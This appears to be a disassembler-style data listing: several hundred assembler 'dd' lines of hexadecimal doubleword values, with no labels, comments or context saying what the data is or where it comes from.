dd 21ED5030h, 0B40B60B4h, 6AD0DEAFh, 0BC752FCDh, 28DDA077h
dd 62C2BE13h, 47D66978h, 0DF545262h, 0F7A520F1h, 7B389E90h
dd 30E908E1h, 0EB29962Ch, 0B30E7344h, 0C2BE560Dh, 5F3B3811h
dd 0F080CF76h, 0E9123E7Ah, 0C609B5D6h, 483E717Dh, 0A06A097Ah
dd 4DCD11A3h, 9E96E599h, 0C544AD06h, 0BF0301Bh, 40DDC98Eh
dd 572F8280h, 159126Ah, 0BBF48D7h, 5548D979h, 3E08CDA8h
dd 0D0647593h, 3006314Bh, 86E0144Bh, 54D70CB9h, 5A32216Dh
dd 0F2C2B119h, 2EA5591Ch, 0E410DD7h, 240AEDF4h, 3DF5836h
dd 1E631A2Eh, 3430EFE0h, 9BA150F4h, 3AC43548h, 88A0B8ACh
dd 5FEEB2E5h, 6BFBE977h
dd 20956EB2h, 0F806E204h, 2140BF68h, 25F930EDh, 0EE312E93h
dd 735A10D2h, 8662B1BFh, 3882D02Fh, 875DB09h, 29AD68B7h
dd 4AAEB8E8h, 748FEFCDh, 0DD2E90Ah, 13E18195h, 7E023369h
dd 0BDBCA504h, 850B84F2h, 4E204EA2h, 33195868h, 2DF129E7h
dd 0BAE2D63Ch, 597B97F8h, 3B9FE9E1h, 0B01C0B39h, 46552759h
dd 0E46818C7h, 71B4A35Fh, 0EEC90782h, 773237C0h, 0E5C67829h
dd 90C0846h, 496359AAh, 4C923410h, 7D4B79B4h, 7E59EDB9h
dd 0E9E0EAECh, 0CCB446AEh, 3F895FA7h, 0FBB5D066h, 0AAA03EEDh
dd 15565C4Eh, 0B30C401h, 0A7206644h, 3D9C9006h, 49AD3CF3h
dd 19EEB980h, 4278707Dh, 0BFD64Eh, 2FA2FA41h, 0A09029BAh
dd 98CCCCBFh, 9981F55Dh, 8B3C6EC1h, 85CB2BF9h, 0B5360F04h
dd 5B68455Fh, 4EB78550h, 595309h, 5A47D757h, 0AC30ED51h
dd 0EF16B662h, 0E3EB8887h, 1C035250h, 0ED80C528h, 1055D1F9h
dd 1FF38D96h, 0EC095346h, 525E7EB9h, 0CD12711Eh, 44212DFFh
dd 77888174h, 0C98FA0DCh, 0C492DF98h, 0BFF4585Ah, 93049F1Dh
dd 0AA10855Dh, 0DD171FD4h, 0DB1D3B95h, 2CC50405h, 86B50BFh
dd 0F1ACE918h, 761E78BFh, 793305Bh, 9DC9FE85h, 0DA3EB70h
dd 2942371Ah, 522CE9B2h, 0DF0B8B0Ah, 22AAF195h, 580AF284h
dd 0E859D00Ah, 0EC684531h, 0AE6C163Ah, 965316CFh, 0A131AC4Ah
dd 0BB1501B9h, 0E90BDDF2h, 74CEA58Dh, 0F065CE41h, 2EB19400h
dd 92445011h, 42331405h, 2301AC2Bh, 161E416h, 822C7BFAh
dd 1EAEBC1Eh, 0FB4D8E68h, 1FC15905h, 80C092A5h, 0FE9EB0D0h
dd 4934C809h, 7E305528h, 0A5E302E9h, 0B07F195h, 1CFC4593h
dd 0D65FD6Bh, 0F104A3A0h, 17CBD66h, 810FB94h, 0E8688332h
dd 8EEA856Fh, 98B2550h, 0B6547Ah, 0F1D9C22Dh, 49F389FBh
dd 25AF3B23h, 94638269h, 45B4ABA0h, 0DE7AF480h, 8A00AB5Bh
dd 4BCF8147h, 13123B14h, 9697C704h, 89BCC244h, 0B2012DD4h
dd 66D02839h, 78C8E130h, 59E1CB04h, 0E9042D6Fh, 0C8FD0CEDh
dd 0BED372E4h, 551D2774h, 1F044BB9h, 9DEFD001h, 0ACD244B2h
dd 2A68C25Fh, 52462225h, 246D4E0Fh, 0F2AF74BCh, 2013487Bh
dd 361BA058h, 5CA5301Ah, 0E51FB2A0h, 966A7160h, 9D7F2242h
dd 5D5829F0h, 5C052D0Ch, 632B82A5h, 0FAE002F5h, 5582E553h
dd 7F0581C8h, 107AB1B6h, 5BB7680Ah, 0D83CF250h, 0B48EB26h
dd 0CD017DA3h, 608A608h, 41BC08E9h, 61BD344Fh, 90EC899Fh
dd 77833BD6h, 0DF65DF18h, 12128674h, 649AB5E0h, 0D7955B6Eh
dd 0D6772FBAh, 0F15FE9ECh, 7B253867h, 0A56F58F1h, 0C0446E48h
dd 0CCBA1D42h, 93413B46h, 539BA07Fh, 0C312E499h, 58F605A0h
dd 5820C0D7h, 0CAAE594Eh, 0EA81CAA1h, 0F87A6900h, 6EE4E95Eh
dd 0E1A6E6AAh, 0B92D9580h, 8030D931h, 47B75352h, 282680B6h
dd 0A40CF4FEh, 40829157h, 0EB04BF56h, 15F3518h, 1330F6EBh
dd 2DBC92B6h, 3830B584h, 8A0F0B1Dh, 0DE2070BEh, 95E945B6h
dd 0F60F639Ch, 5ECAE5D9h, 0D228AAFh, 104B67E9h, 535A356Fh
dd 0CFC4AF10h, 4B84F8AAh, 65F91F53h, 0CD40D2A4h, 0E568B169h
dd 890D5718h, 6A5FC391h, 8E8750BCh, 64750977h, 56C7A3F5h
dd 51C3E3BAh, 0DA0B57B1h, 0D009880Fh, 0C9FE3CC6h, 69DC8109h
dd 20BB70D4h, 0D05D4E25h, 0F31DD80Dh, 58BA4601h, 29953321h
dd 0A020172Bh, 4F80BFC8h, 84C76083h, 0F88E8DF7h, 0B52DC67Fh
dd 41855125h, 2FF90158h, 674F39BAh, 9811D2EEh, 0D9880E93h
dd 284F645Bh, 0E908D5E2h, 9D244332h, 0A41D1903h, 0E6DA2D66h
dd 0F0E90281h, 1ACC2A9Dh, 0F4D75F8Ah, 0F609BDB0h, 601C4E01h
dd 80B481F0h, 0E0A0E1C1h, 0C20472F1h, 0CB31F9F4h, 0CD75ACFAh
dd 6496F2E9h, 4597095Ch, 0DDC5A054h, 0AA74D5EAh, 5010E6CEh
dd 17FF92B8h, 6E5664Eh, 12265660h, 34233935h, 820B16BEh
dd 0F01822Fh, 163A7880h, 8871AB54h, 8251BEA3h, 0FB22864Ah
dd 7172077h, 0AB045C0Bh, 8038C128h, 0C4B8AD7Eh, 881ADAD4h
dd 8AF8A866h, 0B0DD0A9Fh, 0C9FF4E3Bh, 84366926h, 81045817h
dd 47FEC7F6h, 5EF3E071h, 4C1DBF7h, 4D3E8D0Fh, 27DDC1A7h
dd 0C862C6C2h, 3FD9FF5Ch, 0E1BA5012h, 0A8AC2F8Fh, 0A6EC09E5h
dd 1716B022h, 0C025DB28h, 5E4B0B27h, 0ADCAE129h, 5FB9C20Dh
dd 9B7BF46h, 504F87ABh, 5F4F9682h, 0D8F74DB8h, 2860C590h
dd 7FBA3563h, 96F48F9h, 590FA95Ch, 66A94968h, 0F301E15Eh
dd 4FDF7205h, 0F0BFCD42h, 4173BF7Ah, 7BE95361h, 57E5DD2h
dd 2E26E7A8h, 464F5CA5h, 25EF565Dh, 0AAE66D9Bh, 9379B925h
dd 87DC1A1h, 0F7801087h, 88978293h, 73311D8Bh, 21916B53h
dd 0C3D658E3h, 0F5C5C2EEh, 0CE3E7F9h, 5E14FFFAh, 421D3DBBh
dd 0F3F598E3h, 0FA1CC431h, 0A24AF1B6h, 7E89E2C6h, 50490AC4h
dd 48510B9Ah, 0C4687FFCh, 0AFCC2713h, 0E56917BEh, 293A0F7Ah
dd 807FFE25h, 8B5D52ECh, 56A67160h, 9D1BD54Eh, 8837252h
dd 7A141C41h, 161DD4E0h, 0F0051C72h, 8240072Bh, 1A321CB9h
dd 0D0247017h, 7BE3E8E5h, 4EBB0012h, 0CA351202h, 64EF219h
dd 0BC007E53h, 0E903E7C0h, 0BFA296C6h, 0E615380Bh, 0F07AAF05h
dd 5A5B5BCDh, 1DF534FFh, 20F5A5FCh, 15BDEDC7h, 0EB054B11h
dd 1B59E98Ah, 6A7F2FD8h, 0A5A1744Eh, 44BC3C2Bh, 0AC7EC741h
dd 0EF810000h, 0F2FAC1CDh, 2E5FE689h, 0CB4E6468h, 8552B05Ch
dd 0BBB8E8BAh, 7EE2AFB5h, 0BC31AB93h, 312BC782h, 2BAF6807h
dd 1840A1B7h, 0C2F4B555h, 0C31720F8h, 4F6F6893h, 0A8FF1716h
dd 68058DBBh, 0E2AED36Ch, 7065DC4Bh, 75262D97h, 724B195Eh
dd 0D9988146h, 4EA36430h, 0E0B6E863h, 3F0CCDBAh, 0CA00471Ah
dd 1BF07E37h, 0A14A85E9h, 35E0DD45h, 0FAF997D2h, 0BBD6407Ah
dd 0D5599369h, 66D972CBh, 0CBE23B39h, 4AC32610h, 74F265A4h
dd 36632650h, 1D87008Bh, 0D331C869h, 32211A81h, 5B786620h
dd 77593176h, 29E90069h, 59189F49h, 0F4263312h, 4B00CC71h
dd 21300827h, 5EFA98F0h, 40FCD8h, 8A3DB825h, 5FB2E915h
dd 0D2524B47h, 49556E6Ah, 0DCD55806h, 0CBE41EF4h, 0AB75C2DDh
dd 0C26B5471h, 205F0D64h, 4D38C598h, 0F3413D9h, 52A1AB8Fh
dd 0CB82A22Ah, 27FF5A5Fh, 9C5CE76Eh, 0A0FAC96Bh, 1EA8447Ah
dd 0A2041343h, 81002D99h, 342761EEh, 0C759335Fh, 0F805E3C8h
dd 23D318E2h, 1291F62Dh, 0AAD69B9Ch, 0B5F0C312h, 6AD2D68h
dd 2073BF66h, 0F267A12Dh, 3C0460E0h, 58D00A8Dh, 2F1CF09Fh
dd 702E54D7h, 99277C82h, 0B0A3D0DDh, 0B5C925D6h, 3A78A7F4h
dd 52163F5Eh, 43DAE102h, 77E0017Eh, 9A2F36A3h, 0F90F66Bh
dd 13360461h, 5136E016h, 5F685703h, 0E1775013h, 19A6CAE3h
dd 2D9410F5h, 581B7D5Bh, 2AB1E7E9h, 563A997h, 5147A97Ah
dd 195BB9E0h, 0FFD6E92Bh, 0F4342C59h, 542658E3h, 0DFAC0A9Eh
dd 0FDD1A5C6h, 0E0BE033Ch, 0E0EE897Ch, 49E9F129h, 5B2F2923h
dd 0B0F5F289h, 0B56D613Eh, 7FF564CCh, 5051C7D1h, 0BFEFB5C8h
dd 0CDFE20C0h, 0C02E0AC5h, 7CE95D80h, 0BD5CC046h, 161E14BFh
dd 0F2D686C1h, 0C320F8ADh, 0DB730E56h, 10D22950h, 0E91208DEh
dd 99B4BCDAh, 0D9DF7420h, 0B32622F8h, 0EC5EF512h, 3569C1B8h
dd 0EB7D0E31h, 273AF680h, 0F7A4250h, 65F1465Fh, 50C9BA63h
dd 850F6D6h, 58D1A967h, 58D255C9h, 787D2FE8h, 0F299355Ch
dd 0DB415D0Eh, 14873771h, 0F94086C1h, 0E910380Ch, 44C5F582h
dd 70B88EBFh, 2408A06h
dd 52600586h, 96E09D40h, 0D89E8283h, 37E05F52h, 0BD8031D4h
dd 1149282Ch, 971C2AC0h, 616E0ADFh, 2BA0B15h, 0CE3180C6h
dd 40F48BDDh, 5FC2E97Ch, 4432BFBDh, 0F7A38F02h, 40A72A0Fh
dd 0EE0177FCh, 24032DE9h, 4A2064FAh, 0F52828C3h, 35694A95h
dd 25880EF3h, 0C5DAB877h, 0D3BD2DFBh, 3C4A0975h, 1C55BBCBh
dd 70ECEDDEh, 5E770405h, 0BB2E850Fh, 38AEEE17h, 55035AD2h
dd 0D03733BDh, 0BCC41E75h, 0F13026Bh, 59CAF682h, 10A697Dh
dd 0C45A9408h, 51EE62BEh, 5C43A340h, 0C4F61BC0h, 9EF4DFF1h
dd 0CFC82547h, 0CFC6713Fh, 0B284EDEh, 5978C1A3h, 2D07D270h
dd 236E7B45h, 49333A50h, 0D801140Dh, 0B4680705h, 7E582512h
dd 40E5B58h, 152C19CFh, 471745ADh, 78D8AE6Ah, 28404565h
dd 0F83727B9h, 39F39DD8h, 0CE281F84h, 0C365ACEAh, 0D401EE80h
dd 0EA1CB782h, 0E2D1D999h, 5D59E1F7h, 123439A8h, 0A6AE7C4Ch
dd 9852DBCh, 87B7B85h, 0F7253D2Dh, 48382C4h, 0CB54F1FAh
dd 9B08D326h, 8A0F025Eh, 0E5FD87FEh, 9DCB8E02h, 0A6B46011h
dd 25178316h, 6CE04EE9h, 5A585859h, 71E8C539h, 25B1C7F8h
dd 405A180Eh, 0C275017h, 5710DF11h, 5AD641F9h, 0F30788AAh
dd 552DA694h, 0C2790707h, 87D7ED7Ah, 8139F777h, 0A2337FEAh
dd 1EF2170h, 0BD0685C8h, 35594FE9h, 72CFF0BDh, 7F487618h
dd 90359E30h, 2556732Dh, 7FFEEBEFh, 0D0464F60h, 57215C25h
dd 92FDA52Fh, 18346043h, 0A371B511h, 4E2C0C0h, 6ACA4C80h
dd 21CF0216h, 435B04Eh, 3B1103B8h, 86E2036Ch, 15D3A77h
dd 0FF57110Ch, 2E2EE962h, 276835CCh, 0DAF90355h, 56BB08Bh
dd 1E4E879h, 0F036DC05h, 7EAF559h, 0CC446624h, 25DA8408h
dd 61427CFBh, 9C185719h, 32CF9F78h, 0FA58CE45h, 95AB770Ch
dd 6892A1D5h, 0F0241511h, 0EED64AEBh, 3AECF399h, 24909D58h
dd 43651568h, 8A943531h, 3F799EBh, 258EB295h, 0B73EA820h
dd 68699451h, 0AB60AF2Ah, 0C005B281h, 30734008h, 0E8AA2855h
dd 624F2E27h, 4B1057F8h, 0F45B2F79h, 59A182A9h, 8B626084h
dd 5751F2F9h, 0EB93403Ch, 467DE300h, 9F29441Ch, 0C2A6E5D3h
dd 2B704304h, 803DFB5h, 753A0453h, 0BB3D1E3Ch, 0B8509BC0h
dd 610A314Fh, 44D7FD4h, 0D148A009h, 8A430E5Bh, 2340AF53h
dd 5FA655F3h, 12E99633h, 3D71EF56h, 0D46816E9h, 5BD9AF4Ah
dd 9F4AB42h, 1725CBAAh, 8C69BCB6h, 805D7CDEh, 35004058h
dd 7D7724DAh, 72213E25h, 1647EAC9h, 0F054A42Bh, 0BA1C5268h
dd 5C5253B0h, 0BE2A94AFh, 0A5D39AF6h, 59AF3B77h, 244B431h
dd 0A1E6C191h, 2404F6Bh, 0B2D397DEh, 7A257845h, 2C6D7D73h
dd 5B44D28Bh, 5CE90459h, 55CC907Fh, 59093468h, 705D3730h
dd 0E90FC452h, 5A64ECF2h, 0E289CB2Dh, 0E556AC0Fh, 0BDE050CBh
dd 57021958h, 0E5A5EBFh, 571DE23Eh, 0C0AC0053h, 1E417D17h
dd 3698090Bh, 0A988EDE8h, 0E4DDF8D4h, 5C132C38h, 4EDB0952h
dd 509D146h, 0FF29AC17h, 5A0F5116h, 0F060F338h, 764A210h
dd 4EF86866h, 0E9FA5444h, 128248D9h, 5FE56F57h, 0AF9F67E9h
dd 363345C2h, 0EA159262h, 802FB29h, 923A30E7h, 0EFA356FAh
dd 63DCB05Fh, 6DD36818h, 0C9A79AF7h, 7C00CDE3h, 12BE20CAh
dd 1E88312h, 0B3FD8E01h, 0F17FCF84h, 58D6427Fh, 3F050AF6h
dd 1BC166A1h, 0F600BAA0h, 0CF1EFEDFh, 2886EF80h, 5065BF8h
dd 0E9B3B753h, 0BA4FA0CAh, 3B0AEA0Ch, 0C17DD650h, 0E942706Ah
dd 0FD697Ch, 0BD7772F1h, 3FCA296Ch, 9D985D59h, 0CE864062h
dd 51C6FE07h, 0CFC2E3B1h, 0EF92A0A0h, 5E731FFAh, 0A9BC3457h
dd 0D2E116F6h, 0FD822E34h, 55C0712h, 56C4BBD8h, 3605C9EDh
dd 8560FF19h, 0E8E0BBB9h, 0AEFC5F2Bh, 40230F73h, 7F3FA037h
dd 0BA1A015Ah, 5519BD2Ch, 6B74CE9h, 0C1633C48h, 4CA14F09h
dd 5BCB57Bh, 56B59208h, 0CBFB7657h, 4BD516F7h, 4312882Ch
dd 89028209h, 3BDC2DCAh, 2813012Bh, 2F2AE662h, 0B609C7E0h
dd 0A25D2D8Ah, 293BB9C1h, 7ACD9E61h, 0EF683502h, 82487947h
dd 65E0802h, 92EB22D7h, 446607F7h, 85BDEAD9h, 0BD8A553Ch
dd 16917FB1h, 52FD523Dh, 0FACEEAE2h, 6E9F6809h, 64626FF4h
dd 5869546Dh, 7A4A46E9h, 8DD00F27h, 0B815A86Ch, 11719Dh
dd 0BB531B0Bh, 0FA9D5B78h, 850B314Eh, 0A6667DD0h, 4ADD2D07h
dd 0F8E6531Ch, 3CD4091Ah, 9D550CBh, 834174ACh, 2ABA5382h
dd 0CF5F2638h, 261522B3h, 0EE748258h, 0BAEFD2A8h, 444A512Ch
dd 5FEEE71Ah, 65FC445Ah, 3A9BF1C6h, 0CDB35317h, 4B38211Eh
dd 0F8AD29AAh, 46924B73h, 2E57CA09h, 183FFA8h, 6D241D0Dh
dd 9AA56F26h, 50CEF40Eh, 675BB468h, 0C2886BF3h, 42091471h
dd 8FC93AC9h, 0F0B9298h, 0DE4E0D0Bh, 0B86851B8h, 44BB5B43h
dd 135208BCh, 4F5EE633h, 1502BE9Eh, 5465E950h, 0B0F72732h
dd 959ED490h, 0F6011912h, 0E219596Eh, 4242BA8Eh, 0B86273DFh
dd 0C27D15ABh, 0C6AD15Ah, 0DA5B9CBAh, 8E860F09h, 707276DDh
dd 8827E38Ah, 4C69D4C1h, 5478A824h, 2AB01D4Eh, 4E9FFE53h
dd 91EC9078h, 3748A523h, 210A002Ah, 3DE92D74h, 8864CBC9h
dd 0F745165Fh, 98C0AB20h, 2CFCC416h, 64EA13E5h, 2A5EB6Ch
dd 0ACBEB704h, 5B74778h, 0FC8AD888h, 1496A701h, 0CB7F4ADEh
dd 76FC5AB1h, 2368500Bh, 0B92CF604h, 0F35B740Dh, 0B5687931h
dd 0C0E3E42Ah, 73E81741h, 8A6CBD0Ah, 16808D83h, 2D18278Bh
dd 10A15FCh, 5B17BEC1h, 0DA0D3BBAh, 0D05BD827h, 5D4DE99Dh
dd 82AB2ED2h, 7EC85082h, 3B73CB80h, 0DDD060F7h, 806AA241h
dd 70359DDCh, 0E9CF212Eh, 0F794422Dh, 78B733CEh, 0D10227Fh
dd 774E66BDh, 0A8304A68h, 0B45080AFh, 4A69E911h, 7B1FCD22h
dd 2D6863DCh, 37D90F3Eh, 0E8E3056Bh, 0C2F98BEEh, 0F1400A68h
dd 0FCB18BB3h, 0AFB9C5D7h, 344825Dh, 1DE88A2Eh, 0B8409F12h
dd 31649C2Dh, 6215F42Fh, 0DFB18B58h, 0D0AF017Bh, 0CFCB0945h
dd 0A5837504h, 220B4EF3h, 7DD829F4h, 59C22E31h, 59130A5h
dd 0FB3BD6A0h, 0D9AAFF4Fh, 16047686h, 638C09FBh, 0DC5E1CB6h
dd 13F0EF67h, 7140A290h, 81644E2Ch, 0DBB6526Fh, 58F9F083h
dd 8265ADC8h, 1A2AA74h, 0C9C68852h, 0A48B3EF5h, 85D5F61Fh
dd 0AB8659E8h, 3BFFA183h, 0EB030B06h, 0BEDCE96Bh, 0F0274976h
dd 8174A086h, 2E64D7F6h, 17B25650h, 0E99B4FEFh, 0D5271A0Ch
dd 55F09571h, 725D5E25h, 8C605E5h, 84EE2F5Bh, 0F2F3BEE2h
dd 432FE5Fh, 39F975F8h, 19986805h, 6208D64Bh, 0AA3C5D2Bh
dd 0ECA60D9Fh, 1624AD6Eh, 49065450h, 1E1F4811h, 52C288E7h
dd 358280DEh, 6D2D2CECh, 49135032h, 0F95E0C62h, 4FF200B5h
dd 0F089E7Fh, 7E662785h, 0A2599527h, 3AC177B5h, 42042BBCh
dd 0E5CCEAD1h, 0C759759h, 1661EACAh, 0D184041h, 6B0D63A6h
dd 4BDD94A4h, 0D324B25Bh, 1293300Eh, 0B495E2AEh, 1755FDAFh
dd 4B4041E9h, 1747E3B9h, 0F1810258h, 486B6AA1h, 980BFFh
dd 9E19F9B1h, 9C579706h, 33C1BF88h, 0A2002A61h, 30B957BAh
dd 17C9B0C9h, 44D7FA1h, 9E4C070h, 623C7EBBh, 3105A07Eh
dd 97E7B0AAh, 641E7C64h, 75022CC2h, 8816A3C4h, 0A30859EEh
dd 83AD02F6h, 0F160207Fh, 6E4A6B84h, 2A514C43h, 0C83C4F3h
dd 0A2164E8Dh, 9240C543h, 26FBAC90h, 0C462484Bh, 51E233B5h
dd 9D898A20h, 77C90B75h, 6842F647h, 0A1A9781Ah, 75C27721h
dd 0D562EADEh, 0C745575Ah
dd 4B68BD4Ch, 2F13A17Ch, 816964FFh, 510A6Bh, 2E1B9h, 0C981192Ah
dd 13830FFAh, 0E8FB557Fh, 314FE034h, 0F5BD00ABh, 1B5D1456h
dd 3653E918h, 4B10540h, 572EA639h, 22A3AB55h, 1FF3BB03h
dd 0D8CA1B1Ah, 7B96DB61h, 6C61CD20h, 58502C19h, 7D2C0DF8h
dd 32C46BADh, 692FCEEAh, 639C755Eh, 5A0EE913h, 2312CFEh
dd 370BA98Bh, 684A0A82h, 0C5D51526h, 1F8A31C5h, 9AF95170h
dd 0E0322E05h, 5E09C0BBh, 5BD0C179h, 0F34AE025h, 4B2E9A8h
dd 0E2A2799Dh, 0BB00D622h, 5C166766h, 80713C6Ch, 3CEEDF29h
dd 0DFF6E34Ch, 66AD4BC9h, 0B664E023h, 15654A36h, 0B262E0EFh
dd 25E8A1Ch, 727668E1h, 0A4C4B668h, 0B7E93057h, 3FF4BF59h
dd 50C0B058h, 5A95D9F6h, 0A1F8FC78h, 0A23EBDA3h, 58D89105h
dd 70B3015Ah, 0BCE94C9Bh, 7F4C3378h, 5EFEC604h, 6BF48147h
dd 0F3FF9607h, 775B8C01h, 802F2526h, 0FB43D34Dh, 220C2F60h
dd 0BDF199CFh, 0F4C8D3E8h, 0C48D8F94h, 0E22B9F5Eh, 43E915EFh
dd 0FBB85E9Eh, 978021F4h, 31FA2A72h, 6E523CE0h, 20ED4A90h
dd 515929CAh, 0D0886390h, 0A08AB94h, 0E581018Ch, 700D1201h
dd 0AB9DE20Fh, 4F04F550h, 0DE280342h, 6CC41466h, 2096D884h
dd 0ED83451Ah, 0BD5F017Fh, 19EB1790h, 5814302Dh, 1016210Ch
dd 2A68703Eh, 0E3984740h, 0EC414441h, 0BF0435ECh, 0A04E2AA2h
dd 50B8DB9h, 8549158Ch, 3200C72Eh, 58D5807Ah, 5EDD7D29h
dd 2B80A1D9h, 0A6F78EF9h, 0F6041F30h, 105422ABh, 0A8D31483h
dd 4801498Eh, 84107F5h, 123E0B61h, 0DD8AEB8Ah, 0BA97D8D0h
dd 340B47D1h, 2FC9CD7Fh, 0E72010B5h, 3F081B48h, 3CB01D41h
dd 5B5A8C0Dh, 527CF5BDh, 5A2F0C6Ch, 0A8B77AD1h, 1D921390h
dd 0B5E6935h, 413824FDh, 0F6FA16D5h, 1921D3BBh, 0A781ADDEh
dd 3883B5F1h, 4BFA3C25h, 0F02EACA1h, 6B4006A4h, 0E2729705h
dd 0CCAA5B4Ah, 1B5E43E6h, 0F413320h, 2035268Eh, 4D5F882Ah
dd 0B7255416h, 93C5A7ABh, 60DCD9AEh, 4881E6F7h, 9F9809D8h
dd 22A5B651h, 0F51EB655h, 0B87D5599h, 4A8CD0FAh, 74B94C4Ah
dd 8512F0D7h, 0E4F64B45h, 61AEF6C5h, 0F480167Fh, 0E5E121CBh
dd 7752023Dh, 0F3400DDEh, 39689287h, 9CCE044Dh, 8254352Bh
dd 0E5905749h, 0EF3B086Fh, 47EA80E4h, 17A9BD55h, 0BB225615h
dd 0D5458B56h, 11C25D51h, 277954F5h, 19691CF5h, 989CC884h
dd 276E3932h, 0F3C4187h, 0F348C76Eh, 465B0BA2h, 5C2D15ACh
dd 0D15922E2h, 0E7109724h, 61225F37h, 0AD1B2275h, 75E55218h
dd 4A8C06B1h, 0D2D6F75Eh, 891DEF60h, 54515DEBh, 180C8353h
dd 0C04CCE07h, 0FB9717AFh, 41A53EFCh, 645472C6h, 722CE9A9h
dd 558A6A76h, 9ABE120Dh, 5D1ACBDDh, 0D74D63FAh, 86552C4Fh
dd 0C5E46514h, 0C8EBF388h, 754BB740h, 58D776B4h, 2F7BA927h
dd 88C6E61Bh, 3F0166D2h, 4833135Dh, 3D3FC16Bh, 0BF5700ABh
dd 907C1339h, 44B4EE2Dh, 7E9E3931h, 7147E90Bh, 0DF9DC0E6h
dd 4C81E41Eh, 27643B52h, 0F295E00Ch, 45B80BBDh, 65805491h
dd 59FD4E1Ah, 55E89CC1h, 0F47B49F6h, 0F80FF159h, 0C6645A0h
dd 3956D170h, 5DA5C689h, 9FC58974h, 2D0F2388h, 365FC8BFh
dd 449AA18Dh, 2E830907h, 92D1FD08h, 1D4F3BBFh, 0B71A0F03h
dd 54D6D421h, 37701CADh, 3E62FE90h, 0F9D44D4Bh, 0BA2C9213h
dd 0EEF07269h, 0E9105178h, 749A0C84h, 0C68BC0B3h, 0D9306C98h
dd 291A1840h, 0C6861ABh, 604B200Ah, 0C65CD7A9h, 30B4A715h
dd 5805FDACh, 0BC024468h, 0EBB4E5E8h, 0C578062Eh, 0B30B810h
dd 125B56BFh, 4A4BF6C6h, 61A14BF9h, 0DEFC0456h, 3F597800h
dd 16800D67h, 353BE001h, 66888EC0h, 69C2D644h, 55D7B2F0h
dd 7D272F47h, 6FA88100h, 595E3FDAh, 88EE7344h, 7ECABA00h
dd 427B4332h, 1CB9F07Dh, 82BDC81Ah, 565FF1C8h, 0A4F48147h
dd 2A29458Ah, 0C4D1C1A5h, 2CC13834h, 18CF07E3h, 34F631F1h
dd 7C88B817h, 0BB535080h, 0A71239A8h, 43DBF70Bh, 0F27D3585h
dd 0E1D58BB6h, 0F8395D18h, 3FEF417Fh, 0C24790B0h, 0A759ECDAh
dd 0E07E25Eh, 7FD9D977h, 612489D0h, 31A4F730h, 58731981h
dd 0EEE15E2Ch, 60EA0745h, 622EFFBh, 59DE7A65h, 2C2C57B1h
dd 0CCA20ADh, 3CDD6701h, 4D04E5C1h, 6BC9CE35h, 0A68C0F00h
dd 25A41A4Eh, 3D5115B1h, 6E4C9A34h, 0DA370101h, 795AE941h
dd 51D3255Ch, 92EA60B8h, 7E180B63h, 0E17CDA01h, 74F53036h
dd 19E95674h, 881CD4BAh, 0DEC952D3h, 17728F53h, 0EAFA8504h
dd 10A5BA00h, 895F1949h, 6D0419EDh, 0C02C756Bh, 0D61A5F25h
dd 0E00C2D61h, 51E014D2h, 4EE97189h, 2F59B1FEh, 20E639EFh
dd 84188F6h, 0E4907CF6h, 20CED5FBh, 916B09A2h, 0CDCD6350h
dd 43B87109h, 72A28046h, 9D4C551Dh, 0EEC1CD01h, 0E6D3005h
dd 13063A10h, 3D8AC4Fh, 1BE64C9Bh, 0C2949A81h, 16636085h
dd 8B618211h, 2D0862F9h, 455B5807h, 0F251E4FBh, 20AA885Eh
dd 7394E9C1h, 3ABB3CC1h, 78681A19h, 104C6E05h, 45DA0131h
dd 40036604h, 0E94B06E3h, 5F362938h, 6DC460B9h, 85C014E0h
dd 0F1BC2E4Bh, 0CC6A01C5h, 0AA2D6852h, 41BDB47h, 8066BD2Eh
dd 0D771C31Dh, 9F4B1024h, 6156CA13h, 0F11828B3h, 0D78814A6h
dd 8C6596EEh, 61AFE74Dh, 6FEF8EBDh, 7BB84644h, 2C04AA12h
dd 0C1AAE4EAh, 75D9D77h, 0CFE86039h, 0F23297C7h, 0A03EC4FDh
dd 80704D3Dh, 63128C2Dh, 79FC60FDh, 4CF78101h, 7169C122h
dd 788C990h, 8481DFB7h, 9247EB5h, 0E98B25FAh, 317F0D62h
dd 0DFCE253Eh, 95057446h, 8805B753h, 6FA93681h, 250BF7A4h
dd 8BBC2FF1h, 555B58E6h, 0D82845A0h, 0D1B4B1E9h, 80D6073Ah
dd 0C1334FF1h, 66E5E9B7h, 17F42A74h, 2538044Ah, 0B894AA44h
dd 0A46EE9EFh, 2D7CEF08h, 6D079177h, 8A2B654h, 99AD8B9Fh
dd 28758B11h, 0A0EBD28Eh, 29BC797Ch, 1E1C6805h, 0FCE94130h
dd 0BB44B61Dh, 93C48DACh, 1ACAAB31h, 16C57D76h, 0B5030873h
dd 0FC0804F8h, 0C5C0283h, 9389D157h, 6DA8A1ECh, 0D9F75D35h
dd 0BF2A7C2Bh, 0FEFDC40h, 0A010701Eh, 174943F2h, 14F3375h
dd 2376DB78h, 1F1ABA64h, 31C5517Bh, 46C05FF9h, 4C1B18D7h
dd 9D01AB5Ch, 10F0412h, 27131CAh, 0D7E35908h, 3306739Ah
dd 14DC5B91h, 1C203878h, 0B86A0295h, 0F2890F62h, 8F69B6A9h
dd 7CB5FD52h, 81591DE6h, 6307CDC2h, 85914194h, 9B743789h
dd 922025E6h, 0FC5D4A7Fh, 72F2A793h, 0C1EE7F99h, 6D0D5A90h
dd 0D817B538h, 8E3CE57Bh, 0E273050Ch, 58A2E960h, 0CA5D5BBCh
dd 0E6E65F6Fh, 9138E9C4h, 6D3668E7h, 3B6413FFh, 0C9DE52F9h
dd 67DAA923h, 5E66EC20h, 0EA4AA45Eh, 21F26AC0h, 0A00A425Fh
dd 2774F9E4h, 88DF1338h, 0A62B082Dh, 0F2982834h, 0BE294022h
dd 2AB3025Eh, 0AC98174Ah, 0ACAFF4AEh, 2C8CC501h, 0B8CBCC20h
dd 5E47092Ah, 0EC81D3F7h, 2EEC335Bh, 0FE083FC2h, 0ADD64F92h
dd 100293D7h, 6C3C9168h, 7869BF9Dh, 40C6D329h, 44D3320h
dd 0F11EAFBAh, 0CC5BFE4Eh, 0E8F5B242h, 0B3C6F54h, 0F8E902A6h
dd 556E1255h, 7A22532Ch, 5EB56817h, 7887A81Ah, 0C0DD4AF9h
dd 0DEBA66D2h, 25DB355Ch, 7514D5D1h, 1AC2F7FAh, 5F1E4868h
dd 0F5F02A52h, 5E7EBA7Fh, 494D78B5h, 0BF244DB9h, 8C70A99h
dd 0A30E3ED1h, 0B684F738h, 0C504B93Ah, 2493DF68h, 2D10A3E9h
dd 5C04E0Ah, 14BDEB2Eh, 0BFC098C1h, 28B946F8h, 0EF840543h
dd 4FE9E29Fh
